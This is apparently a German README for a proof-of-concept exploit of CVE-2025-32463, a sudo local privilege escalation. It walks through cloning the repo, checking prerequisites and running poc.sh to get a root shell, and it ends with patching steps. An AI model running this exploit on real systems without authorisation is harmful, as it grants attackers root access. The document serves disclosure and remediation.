khoazero123/cve-2025-32463Proof-of-Concept-Exploit für CVE-2025-32463, eine lokale Rechteausweitung in sudo-Versionen 1.9.14-1.9.17, mit vorkompilierter Bibliothek und Anweisungen zur Behebung.
Dieses Repository enthält einen Proof-of-Concept (PoC)-Exploit für CVE-2025-32463, eine lokale Privilege-Escalation-Schwachstelle in sudo, entdeckt von Rich Mirch.
https://github.com/kh4sh3i/CVE-2025-32463
Dieser PoC dient nur Bildungs- und autorisierten Testzwecken. Verwenden Sie diesen Code nicht auf Systemen, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Berechtigung zur Prüfung haben.
git clone https://github.com/zinzloun/CVE-2025-32463.git
cd CVE-2025-32463
Prüfen, ob der aktuelle Benutzer niedrige Privilegien hat
:~/CVE-2025-32463$ id
uid=1001(poc) gid=1001(poc) groups=1001(poc),100(users)
Voraussetzungen prüfen
:~/CVE-2025-32463$ sudo --version
Sudo version 1.9.15p5
...
:~/CVE-2025-32463$ ls -al /etc/nsswitch.conf
-rw-r--r-- 1 root root 526 Feb 16 20:57 /etc/nsswitch.conf
Exploit ausführen
:~/CVE-2025-32463$ chmod +x poc.sh && ./poc.sh
woot!
root@ubutes01:/# id
uid=0(root) gid=0(root) groups=0(root),100(users),1001(poc)
Für verbundene Systeme einfach ausführen
sudo apt update && sudo apt upgrade
Für isolierte Systeme (Air-Gapped): Sie können das neueste sudo-Paket von hier erhalten: https://github.com/sudo-project/sudo/releases/download/v1.9.17p1/sudo_1.9.17-2_ubu2404_amd64.deb. Sobald das Paket auf das Zielsystem übertragen wurde, führen Sie einfach aus:
sudo dpkg -i sudo_1.9.17-2_ubu2404_amd64.deb